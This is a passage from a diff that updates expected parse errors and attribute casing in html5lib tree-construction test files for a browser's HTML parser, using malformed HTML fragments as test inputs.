-Line: 1 Col: 275 This element (basefont) has no end tag.
-Line: 1 Col: 285 This element (bgsound) has no end tag.
-Line: 1 Col: 293 This element (embed) has no end tag.
-Line: 1 Col: 302 This element (spacer) has no end tag.
-Line: 1 Col: 306 Unexpected end tag (p). Ignored.
-Line: 1 Col: 311 End tag (dd) seen too early. Expected other end tag.
-Line: 1 Col: 316 End tag (dt) seen too early. Expected other end tag.
-Line: 1 Col: 326 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 337 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 345 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 353 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 361 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 371 End tag (address) seen too early. Expected other end tag.
-Line: 1 Col: 384 End tag (blockquote) seen too early. Expected other end tag.
-Line: 1 Col: 393 End tag (center) seen too early. Expected other end tag.
-Line: 1 Col: 399 Unexpected end tag (dir). Ignored.
-Line: 1 Col: 405 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 410 End tag (dl) seen too early. Expected other end tag.
-Line: 1 Col: 421 End tag (fieldset) seen too early. Expected other end tag.
-Line: 1 Col: 431 End tag (listing) seen too early. Expected other end tag.
-Line: 1 Col: 438 End tag (menu) seen too early. Expected other end tag.
-Line: 1 Col: 443 End tag (ol) seen too early. Expected other end tag.
-Line: 1 Col: 448 End tag (ul) seen too early. Expected other end tag.
-Line: 1 Col: 453 End tag (li) seen too early. Expected other end tag.
-Line: 1 Col: 460 End tag (nobr) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 466 This element (wbr) has no end tag.
-Line: 1 Col: 482 End tag (button) seen too early. Expected other end tag.
-Line: 1 Col: 492 End tag (marquee) seen too early. Expected other end tag.
-Line: 1 Col: 501 End tag (object) seen too early. Expected other end tag.
-Line: 1 Col: 519 Unexpected end tag (html). Ignored.
-Line: 1 Col: 519 Unexpected end tag (frameset). Ignored.
-Line: 1 Col: 526 Unexpected end tag (head). Ignored.
-Line: 1 Col: 535 Unexpected end tag (iframe). Ignored.
-Line: 1 Col: 543 This element (image) has no end tag.
-Line: 1 Col: 553 This element (isindex) has no end tag.
-Line: 1 Col: 563 Unexpected end tag (noembed). Ignored.
-Line: 1 Col: 574 Unexpected end tag (noframes). Ignored.
-Line: 1 Col: 585 Unexpected end tag (noscript). Ignored.
-Line: 1 Col: 596 Unexpected end tag (optgroup). Ignored.
-Line: 1 Col: 605 Unexpected end tag (option). Ignored.
-Line: 1 Col: 617 Unexpected end tag (plaintext). Ignored.
-Line: 1 Col: 628 Unexpected end tag (textarea). Ignored.
+<table><tr></strong></b></em></i></u></strike></s></blink></tt></pre></big></small></font></select></h1></h2></h3></h4></h5></h6></body></br></a></img></title></span></style></script></table></th></td></tr></frame></area></link></param></hr></input></col></base></meta></basefont></bgsound></embed></spacer></p></dd></dt></caption></colgroup></tbody></tfoot></thead></address></blockquote></center></dir></div></dl></fieldset></listing></menu></ol></ul></li></nobr></wbr></form></button></marquee></object></html></frameset></head></iframe></image></isindex></noembed></noframes></noscript></optgroup></option></plaintext></textarea>
+#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,20): unexpected-end-tag-implies-table-voodoo
+(1,20): unexpected-end-tag
+(1,24): unexpected-end-tag-implies-table-voodoo
+(1,24): unexpected-end-tag
+(1,29): unexpected-end-tag-implies-table-voodoo
+(1,29): unexpected-end-tag
+(1,33): unexpected-end-tag-implies-table-voodoo
+(1,33): unexpected-end-tag
+(1,37): unexpected-end-tag-implies-table-voodoo
+(1,37): unexpected-end-tag
+(1,46): unexpected-end-tag-implies-table-voodoo
+(1,46): unexpected-end-tag
+(1,50): unexpected-end-tag-implies-table-voodoo
+(1,50): unexpected-end-tag
+(1,58): unexpected-end-tag-implies-table-voodoo
+(1,58): unexpected-end-tag
+(1,63): unexpected-end-tag-implies-table-voodoo
+(1,63): unexpected-end-tag
+(1,69): unexpected-end-tag-implies-table-voodoo
+(1,69): end-tag-too-early
+(1,75): unexpected-end-tag-implies-table-voodoo
+(1,75): unexpected-end-tag
+(1,83): unexpected-end-tag-implies-table-voodoo
+(1,83): unexpected-end-tag
+(1,90): unexpected-end-tag-implies-table-voodoo
+(1,90): unexpected-end-tag
+(1,99): unexpected-end-tag-implies-table-voodoo
+(1,99): unexpected-end-tag
+(1,104): unexpected-end-tag-implies-table-voodoo
+(1,104): end-tag-too-early
+(1,109): unexpected-end-tag-implies-table-voodoo
+(1,109): end-tag-too-early
+(1,114): unexpected-end-tag-implies-table-voodoo
+(1,114): end-tag-too-early
+(1,119): unexpected-end-tag-implies-table-voodoo
+(1,119): end-tag-too-early
+(1,124): unexpected-end-tag-implies-table-voodoo
+(1,124): end-tag-too-early
+(1,129): unexpected-end-tag-implies-table-voodoo
+(1,129): end-tag-too-early
+(1,136): unexpected-end-tag-in-table-row
+(1,141): unexpected-end-tag-implies-table-voodoo
+(1,141): unexpected-end-tag-treated-as
+(1,145): unexpected-end-tag-implies-table-voodoo
+(1,145): unexpected-end-tag
+(1,151): unexpected-end-tag-implies-table-voodoo
+(1,151): unexpected-end-tag
+(1,159): unexpected-end-tag-implies-table-voodoo
+(1,159): unexpected-end-tag
+(1,166): unexpected-end-tag-implies-table-voodoo
+(1,166): unexpected-end-tag
+(1,174): unexpected-end-tag-implies-table-voodoo
+(1,174): unexpected-end-tag
+(1,183): unexpected-end-tag-implies-table-voodoo
+(1,183): unexpected-end-tag
+(1,196): unexpected-end-tag
+(1,201): unexpected-end-tag
+(1,206): unexpected-end-tag
+(1,214): unexpected-end-tag
+(1,221): unexpected-end-tag
+(1,228): unexpected-end-tag
+(1,236): unexpected-end-tag
+(1,241): unexpected-end-tag
+(1,249): unexpected-end-tag
+(1,255): unexpected-end-tag
+(1,262): unexpected-end-tag
+(1,269): unexpected-end-tag
+(1,280): unexpected-end-tag
+(1,290): unexpected-end-tag
+(1,298): unexpected-end-tag
+(1,307): unexpected-end-tag
+(1,311): unexpected-end-tag
+(1,316): unexpected-end-tag
+(1,321): unexpected-end-tag
+(1,331): unexpected-end-tag
+(1,342): unexpected-end-tag
+(1,350): unexpected-end-tag
+(1,358): unexpected-end-tag
+(1,366): unexpected-end-tag
+(1,376): end-tag-too-early
+(1,389): end-tag-too-early
+(1,398): end-tag-too-early
+(1,404): end-tag-too-early
+(1,410): end-tag-too-early
+(1,415): end-tag-too-early
+(1,426): end-tag-too-early
+(1,436): end-tag-too-early
+(1,443): end-tag-too-early
+(1,448): end-tag-too-early
+(1,453): end-tag-too-early
+(1,458): unexpected-end-tag
+(1,465): unexpected-end-tag
+(1,471): unexpected-end-tag
+(1,478): unexpected-end-tag
+(1,487): end-tag-too-early
+(1,497): end-tag-too-early
+(1,506): end-tag-too-early
+(1,524): expected-eof-but-got-end-tag
+(1,524): unexpected-end-tag
+(1,531): unexpected-end-tag
+(1,540): unexpected-end-tag
+(1,548): unexpected-end-tag
+(1,558): unexpected-end-tag
+(1,568): unexpected-end-tag
+(1,579): unexpected-end-tag
+(1,590): unexpected-end-tag
+(1,601): unexpected-end-tag
+(1,610): unexpected-end-tag
+(1,622): unexpected-end-tag
+(1,633): unexpected-end-tag
#document
| <html>
| <head>
@@ -1941,8 +1951,8 @@ Line: 1 Col: 628 Unexpected end tag (textarea). Ignored.
#data
<frameset>
#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 1 Col: 10 Expected closing tag. Unexpected end of file.
+(1,10): expected-doctype-but-got-start-tag
+(1,10): eof-in-frameset
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests10.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests10.dat
index 4f8df86f2..87d94786b 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests10.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests10.dat
@@ -11,7 +11,7 @@
#data
<!DOCTYPE html><svg></svg><![CDATA[a]]>
#errors
-29: Bogus comment
+(1,28) expected-dashes-or-doctype
#document
| <!DOCTYPE html>
| <html>
@@ -33,8 +33,8 @@
#data
<!DOCTYPE html><body><select><svg></svg></select>
#errors
-35: Stray “svg” start tag.
-42: Stray end tag “svg”
+(1,34) unexpected-start-tag-in-select
+(1,40) unexpected-end-tag-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -45,8 +45,8 @@
#data
<!DOCTYPE html><body><select><option><svg></svg></option></select>
#errors
-43: Stray “svg” start tag.
-50: Stray end tag “svg”
+(1,42) unexpected-start-tag-in-select
+(1,48) unexpected-end-tag-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -58,8 +58,7 @@
#data
<!DOCTYPE html><body><table><svg></svg></table>
#errors
-34: Start tag “svg” seen in “table”.
-41: Stray end tag “svg”.
+(1,33) foster-parenting-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -71,9 +70,7 @@
#data
<!DOCTYPE html><body><table><svg><g>foo</g></svg></table>
#errors
-34: Start tag “svg” seen in “table”.
-46: Stray end tag “g”.
-53: Stray end tag “svg”.
+(1,33) foster-parenting-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -87,10 +84,7 @@
#data
<!DOCTYPE html><body><table><svg><g>foo</g><g>bar</g></svg></table>
#errors
-34: Start tag “svg” seen in “table”.
-46: Stray end tag “g”.
-58: Stray end tag “g”.
-65: Stray end tag “svg”.
+(1,33) foster-parenting-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -106,10 +100,7 @@
#data
<!DOCTYPE html><body><table><tbody><svg><g>foo</g><g>bar</g></svg></tbody></table>
#errors
-41: Start tag “svg” seen in “table”.
-53: Stray end tag “g”.
-65: Stray end tag “g”.
-72: Stray end tag “svg”.
+(1,40) foster-parenting-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -126,10 +117,7 @@
#data
<!DOCTYPE html><body><table><tbody><tr><svg><g>foo</g><g>bar</g></svg></tr></tbody></table>
#errors
-45: Start tag “svg” seen in “table”.
-57: Stray end tag “g”.
-69: Stray end tag “g”.
-76: Stray end tag “svg”.
+(1,44) foster-parenting-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -203,8 +191,8 @@
#data
<!DOCTYPE html><body><table><caption><svg><g>foo</g><g>bar</g><p>baz</table><p>quux
#errors
-70: HTML start tag “p” in a foreign namespace context.
-81: “table” closed but “caption” was still open.
+(1,65) unexpected-html-element-in-foreign-content
+(1,76) XXX-undefined-error
#document
| <!DOCTYPE html>
| <html>
@@ -225,8 +213,8 @@
#data
<!DOCTYPE html><body><table><caption><svg><g>foo</g><g>bar</g>baz</table><p>quux
#errors
-78: “table” closed but “caption” was still open.
-78: Unclosed elements on stack.
+(1,73) unexpected-end-tag
+(1,73) expected-one-end-tag-but-got-another
#document
| <!DOCTYPE html>
| <html>
@@ -246,11 +234,11 @@
#data
<!DOCTYPE html><body><table><colgroup><svg><g>foo</g><g>bar</g><p>baz</table><p>quux
#errors
-44: Start tag “svg” seen in “table”.
-56: Stray end tag “g”.
-68: Stray end tag “g”.
-71: HTML start tag “p” in a foreign namespace context.
-71: Start tag “p” seen in “table”.
+(1,43) foster-parenting-start-tag
+(1,66) foster-parenting-start-tag
+(1,67) foster-parenting-character
+(1,68) foster-parenting-character
+(1,69) foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -271,13 +259,13 @@
#data
<!DOCTYPE html><body><table><tr><td><select><svg><g>foo</g><g>bar</g><p>baz</table><p>quux
#errors
-50: Stray “svg” start tag.
-54: Stray “g” start tag.
-62: Stray end tag “g”
-66: Stray “g” start tag.
-74: Stray end tag “g”
-77: Stray “p” start tag.
-88: “table” end tag with “select” open.
+(1,49) unexpected-start-tag-in-select
+(1,52) unexpected-start-tag-in-select
+(1,59) unexpected-end-tag-in-select
+(1,62) unexpected-start-tag-in-select
+(1,69) unexpected-end-tag-in-select
+(1,72) unexpected-start-tag-in-select
+(1,83) unexpected-table-element-end-tag-in-select-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -295,14 +283,14 @@
#data
<!DOCTYPE html><body><table><select><svg><g>foo</g><g>bar</g><p>baz</table><p>quux
#errors
-36: Start tag “select” seen in “table”.
-42: Stray “svg” start tag.
-46: Stray “g” start tag.
-54: Stray end tag “g”
-58: Stray “g” start tag.
-66: Stray end tag “g”
-69: Stray “p” start tag.
-80: “table” end tag with “select” open.
+(1,36) unexpected-start-tag-implies-table-voodoo
+(1,41) unexpected-start-tag-in-select
+(1,44) unexpected-start-tag-in-select
+(1,51) unexpected-end-tag-in-select
+(1,54) unexpected-start-tag-in-select
+(1,61) unexpected-end-tag-in-select
+(1,64) unexpected-start-tag-in-select
+(1,75) unexpected-table-element-end-tag-in-select-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -317,8 +305,8 @@
#data
<!DOCTYPE html><body></body></html><svg><g>foo</g><g>bar</g><p>baz
#errors
-41: Stray “svg” start tag.
-68: HTML start tag “p” in a foreign namespace context.
+(1,40) expected-eof-but-got-start-tag
+(1,63) unexpected-html-element-in-foreign-content
#document
| <!DOCTYPE html>
| <html>
@@ -335,8 +323,8 @@
#data
<!DOCTYPE html><body></body><svg><g>foo</g><g>bar</g><p>baz
#errors
-34: Stray “svg” start tag.
-61: HTML start tag “p” in a foreign namespace context.
+(1,33) unexpected-start-tag-after-body
+(1,56) unexpected-html-element-in-foreign-content
#document
| <!DOCTYPE html>
| <html>
@@ -353,14 +341,14 @@
#data
<!DOCTYPE html><frameset><svg><g></g><g></g><p><span>
#errors
-31: Stray “svg” start tag.
-35: Stray “g” start tag.
-40: Stray end tag “g”
-44: Stray “g” start tag.
-49: Stray end tag “g”
-52: Stray “p” start tag.
-58: Stray “span” start tag.
-58: End of file seen and there were open elements.
+(1,30) unexpected-start-tag-in-frameset
+(1,33) unexpected-start-tag-in-frameset
+(1,37) unexpected-end-tag-in-frameset
+(1,40) unexpected-start-tag-in-frameset
+(1,44) unexpected-end-tag-in-frameset
+(1,47) unexpected-start-tag-in-frameset
+(1,53) unexpected-start-tag-in-frameset
+(1,53) eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -370,13 +358,13 @@
#data
<!DOCTYPE html><frameset></frameset><svg><g></g><g></g><p><span>
#errors
-42: Stray “svg” start tag.
-46: Stray “g” start tag.
-51: Stray end tag “g”
-55: Stray “g” start tag.
-60: Stray end tag “g”
-63: Stray “p” start tag.
-69: Stray “span” start tag.
+(1,41) unexpected-start-tag-after-frameset
+(1,44) unexpected-start-tag-after-frameset
+(1,48) unexpected-end-tag-after-frameset
+(1,51) unexpected-start-tag-after-frameset
+(1,55) unexpected-end-tag-after-frameset
+(1,58) unexpected-start-tag-after-frameset
+(1,64) unexpected-start-tag-after-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -444,6 +432,10 @@
#data
<svg></path>
#errors
+(1,5) expected-doctype-but-got-start-tag
+(1,12) unexpected-end-tag
+(1,12) unexpected-end-tag
+(1,12) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -453,6 +445,9 @@
#data
<div><svg></div>a
#errors
+(1,5) expected-doctype-but-got-start-tag
+(1,16) unexpected-end-tag
+(1,16) end-tag-too-early
#document
| <html>
| <head>
@@ -464,6 +459,9 @@
#data
<div><svg><path></div>a
#errors
+(1,5) expected-doctype-but-got-start-tag
+(1,22) unexpected-end-tag
+(1,22) end-tag-too-early
#document
| <html>
| <head>
@@ -476,6 +474,9 @@
#data
<div><svg><path></svg><path>
#errors
+(1,5) expected-doctype-but-got-start-tag
+(1,22) unexpected-end-tag
+(1,28) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -488,6 +489,10 @@
#data
<div><svg><path><foreignObject><math></div>a
#errors
+(1,5) expected-doctype-but-got-start-tag
+(1,43) unexpected-end-tag
+(1,43) end-tag-too-early
+(1,44) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -502,6 +507,9 @@
#data
<div><svg><path><foreignObject><p></div>a
#errors
+(1,5) expected-doctype-but-got-start-tag
+(1,40) end-tag-too-early
+(1,41) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -516,8 +524,8 @@
#data
<!DOCTYPE html><svg><desc><div><svg><ul>a
#errors
-40: HTML start tag “ul” in a foreign namespace context.
-41: End of file in a foreign namespace context.
+(1,40) unexpected-html-element-in-foreign-content
+(1,41) expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -533,8 +541,8 @@
#data
<!DOCTYPE html><svg><desc><svg><ul>a
#errors
-35: HTML start tag “ul” in a foreign namespace context.
-36: End of file in a foreign namespace context.
+(1,35) unexpected-html-element-in-foreign-content
+(1,36) expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -549,6 +557,7 @@
#data
<!DOCTYPE html><p><svg><desc><p>
#errors
+(1,32) expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -562,6 +571,7 @@
#data
<!DOCTYPE html><p><svg><title><p>
#errors
+(1,33) expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -575,6 +585,9 @@
#data
<div><svg><path><foreignObject><p></foreignObject><p>
#errors
+(1,5) expected-doctype-but-got-start-tag
+(1,50) unexpected-end-tag
+(1,53) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -589,6 +602,8 @@
#data
<math><mi><div><object><div><span></span></div></object></div></mi><mi>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,71) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -604,6 +619,8 @@
#data
<math><mi><svg><foreignObject><div><div></div></div></foreignObject></svg></mi><mi>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,83) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -619,6 +636,8 @@
#data
<svg><script></script><path>
#errors
+(1,5) expected-doctype-but-got-start-tag
+(1,28) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -630,6 +649,9 @@
#data
<table><svg></svg><tr>
#errors
+(1,7) expected-doctype-but-got-start-tag
+(1,12) unexpected-start-tag-implies-table-voodoo
+(1,22) eof-in-table
#document
| <html>
| <head>
@@ -642,6 +664,8 @@
#data
<math><mi><mglyph>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,18) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -653,6 +677,8 @@
#data
<math><mi><malignmark>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,22) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -664,6 +690,8 @@
#data
<math><mo><mglyph>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,18) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -675,6 +703,8 @@
#data
<math><mo><malignmark>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,22) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -686,6 +716,8 @@
#data
<math><mn><mglyph>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,18) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -697,6 +729,8 @@
#data
<math><mn><malignmark>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,22) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -708,6 +742,8 @@
#data
<math><ms><mglyph>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,18) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -719,6 +755,8 @@
#data
<math><ms><malignmark>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,22) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -730,6 +768,8 @@
#data
<math><mtext><mglyph>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,21) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -741,6 +781,8 @@
#data
<math><mtext><malignmark>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,25) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -752,6 +794,8 @@
#data
<math><annotation-xml><svg></svg></annotation-xml><mi>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,54) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -764,6 +808,8 @@
#data
<math><annotation-xml><svg><foreignObject><div><math><mi></mi></math><span></span></div></foreignObject><path></path></svg></annotation-xml><mi>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,144) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -782,6 +828,8 @@
#data
<math><annotation-xml><svg><foreignObject><math><mi><svg></svg></mi><mo></mo></math><span></span></foreignObject><path></path></svg></annotation-xml><mi>
#errors
+(1,6) expected-doctype-but-got-start-tag
+(1,153) expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests11.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests11.dat
index 638cde479..ad62cdf65 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests11.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests11.dat
@@ -13,13 +13,13 @@
| baseProfile=""
| calcMode=""
| clipPathUnits=""
-| contentScriptType=""
-| contentStyleType=""
+| contentscripttype=""
+| contentstyletype=""
| diffuseConstant=""
| edgeMode=""
-| externalResourcesRequired=""
-| filterRes=""
+| externalresourcesrequired=""
| filterUnits=""
+| filterres=""
| glyphRef=""
| gradientTransform=""
| gradientUnits=""
@@ -85,13 +85,13 @@
| baseProfile=""
| calcMode=""
| clipPathUnits=""
-| contentScriptType=""
-| contentStyleType=""
+| contentscripttype=""
+| contentstyletype=""
| diffuseConstant=""
| edgeMode=""
-| externalResourcesRequired=""
-| filterRes=""
+| externalresourcesrequired=""
| filterUnits=""
+| filterres=""
| glyphRef=""
| gradientTransform=""
| gradientUnits=""
@@ -157,13 +157,13 @@
| baseProfile=""
| calcMode=""
| clipPathUnits=""
-| contentScriptType=""
-| contentStyleType=""
+| contentscripttype=""
+| contentstyletype=""
| diffuseConstant=""
| edgeMode=""
-| externalResourcesRequired=""
-| filterRes=""
+| externalresourcesrequired=""
| filterUnits=""
+| filterres=""
| glyphRef=""
| gradientTransform=""
| gradientUnits=""
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests14.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests14.dat
index b8713f885..a08b7649e 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests14.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests14.dat
@@ -22,7 +22,7 @@
#data
<!DOCTYPE html><html><html abc:def=gh><xyz:abc></xyz:abc>
#errors
-15: Unexpected start tag html
+(1,38): non-html-root
#document
| <!DOCTYPE html>
| <html>
@@ -34,7 +34,7 @@
#data
<!DOCTYPE html><html xml:lang=bar><html xml:lang=foo>
#errors
-15: Unexpected start tag html
+(1,53): non-html-root
#document
| <!DOCTYPE html>
| <html>
@@ -55,6 +55,7 @@
#data
<!DOCTYPE html><html 123=456><html 789=012>
#errors
+(1,43): non-html-root
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests15.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests15.dat
index 6ce1c0d16..93d06a871 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests15.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests15.dat
@@ -1,8 +1,8 @@
#data
<!DOCTYPE html><p><b><i><u></p> <p>X
#errors
-Line: 1 Col: 31 Unexpected end tag (p). Ignored.
-Line: 1 Col: 36 Expected closing tag. Unexpected end of file.
+(1,31): unexpected-end-tag
+(1,36): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -23,9 +23,9 @@ Line: 1 Col: 36 Expected closing tag. Unexpected end of file.
<p><b><i><u></p>
<p>X
#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected end tag (p). Ignored.
-Line: 2 Col: 4 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,16): unexpected-end-tag
+(2,4): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -45,7 +45,8 @@ Line: 2 Col: 4 Expected closing tag. Unexpected end of file.
#data
<!doctype html></html> <head>
#errors
-Line: 1 Col: 22 Unexpected end tag (html) after the (implied) root element.
+(1,29): expected-eof-but-got-start-tag
+(1,29): unexpected-start-tag-ignored
#document
| <!DOCTYPE html>
| <html>
@@ -56,7 +57,7 @@ Line: 1 Col: 22 Unexpected end tag (html) after the (implied) root element.
#data
<!doctype html></body><meta>
#errors
-Line: 1 Col: 22 Unexpected end tag (body) after the (implied) root element.
+(1,28): unexpected-start-tag-after-body
#document
| <!DOCTYPE html>
| <html>
@@ -67,8 +68,7 @@ Line: 1 Col: 22 Unexpected end tag (body) after the (implied) root element.
#data
<html></html><!-- foo -->
#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected end tag (html) after the (implied) root element.
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -78,7 +78,7 @@ Line: 1 Col: 13 Unexpected end tag (html) after the (implied) root element.
#data
<!doctype html></body><title>X</title>
#errors
-Line: 1 Col: 22 Unexpected end tag (body) after the (implied) root element.
+(1,29): unexpected-start-tag-after-body
#document
| <!DOCTYPE html>
| <html>
@@ -90,8 +90,9 @@ Line: 1 Col: 22 Unexpected end tag (body) after the (implied) root element.
#data
<!doctype html><table> X<meta></table>
#errors
-Line: 1 Col: 24 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 30 Unexpected start tag (meta) in table context caused voodoo mode.
+(1,23): foster-parenting-character
+(1,24): foster-parenting-character
+(1,30): foster-parenting-start-character
#document
| <!DOCTYPE html>
| <html>
@@ -104,7 +105,8 @@ Line: 1 Col: 30 Unexpected start tag (meta) in table context caused voodoo mode.
#data
<!doctype html><table> x</table>
#errors
-Line: 1 Col: 24 Unexpected non-space characters in table context caused voodoo mode.
+(1,23): foster-parenting-character
+(1,24): foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -116,7 +118,9 @@ Line: 1 Col: 24 Unexpected non-space characters in table context caused voodoo m
#data
<!doctype html><table> x </table>
#errors
-Line: 1 Col: 25 Unexpected non-space characters in table context caused voodoo mode.
+(1,23): foster-parenting-character
+(1,24): foster-parenting-character
+(1,25): foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -128,7 +132,8 @@ Line: 1 Col: 25 Unexpected non-space characters in table context caused voodoo m
#data
<!doctype html><table><tr> x</table>
#errors
-Line: 1 Col: 28 Unexpected non-space characters in table context caused voodoo mode.
+(1,27): foster-parenting-character
+(1,28): foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -142,7 +147,7 @@ Line: 1 Col: 28 Unexpected non-space characters in table context caused voodoo m
#data
<!doctype html><table>X<style> <tr>x </style> </table>
#errors
-Line: 1 Col: 23 Unexpected non-space characters in table context caused voodoo mode.
+(1,23): foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -157,8 +162,11 @@ Line: 1 Col: 23 Unexpected non-space characters in table context caused voodoo m
#data
<!doctype html><div><table><a>foo</a> <tr><td>bar</td> </tr></table></div>
#errors
-Line: 1 Col: 30 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 37 Unexpected end tag (a) in table context caused voodoo mode.
+(1,30): foster-parenting-start-tag
+(1,31): foster-parenting-character
+(1,32): foster-parenting-character
+(1,33): foster-parenting-character
+(1,37): foster-parenting-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -178,14 +186,13 @@ Line: 1 Col: 37 Unexpected end tag (a) in table context caused voodoo mode.
#data
<frame></frame></frame><frameset><frame><frameset><frame></frameset><noframes></frameset><noframes>
#errors
-6: Start tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-13: Stray start tag “frame”.
-21: Stray end tag “frame”.
-29: Stray end tag “frame”.
-39: “frameset” start tag after “body” already open.
-105: End of file seen inside an [R]CDATA element.
-105: End of file seen and there were open elements.
-XXX: These errors are wrong, please fix me!
+(1,7): expected-doctype-but-got-start-tag
+(1,7): unexpected-start-tag-ignored
+(1,15): unexpected-end-tag
+(1,23): unexpected-end-tag
+(1,33): unexpected-start-tag
+(1,99): expected-named-closing-tag-but-got-eof
+(1,99): eof-in-frameset
#document
| <html>
| <head>
@@ -199,7 +206,8 @@ XXX: These errors are wrong, please fix me!
#data
<!DOCTYPE html><object></html>
#errors
-1: Expected closing tag. Unexpected end of file
+(1,30): expected-body-in-scope
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests16.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests16.dat
index c8ef66f0e..c8f6d4370 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests16.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests16.dat
@@ -1,7 +1,7 @@
#data
<!doctype html><script>
#errors
-Line: 1 Col: 23 Unexpected end of file. Expected end tag (script).
+(1,23): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -12,7 +12,7 @@ Line: 1 Col: 23 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script>a
#errors
-Line: 1 Col: 24 Unexpected end of file. Expected end tag (script).
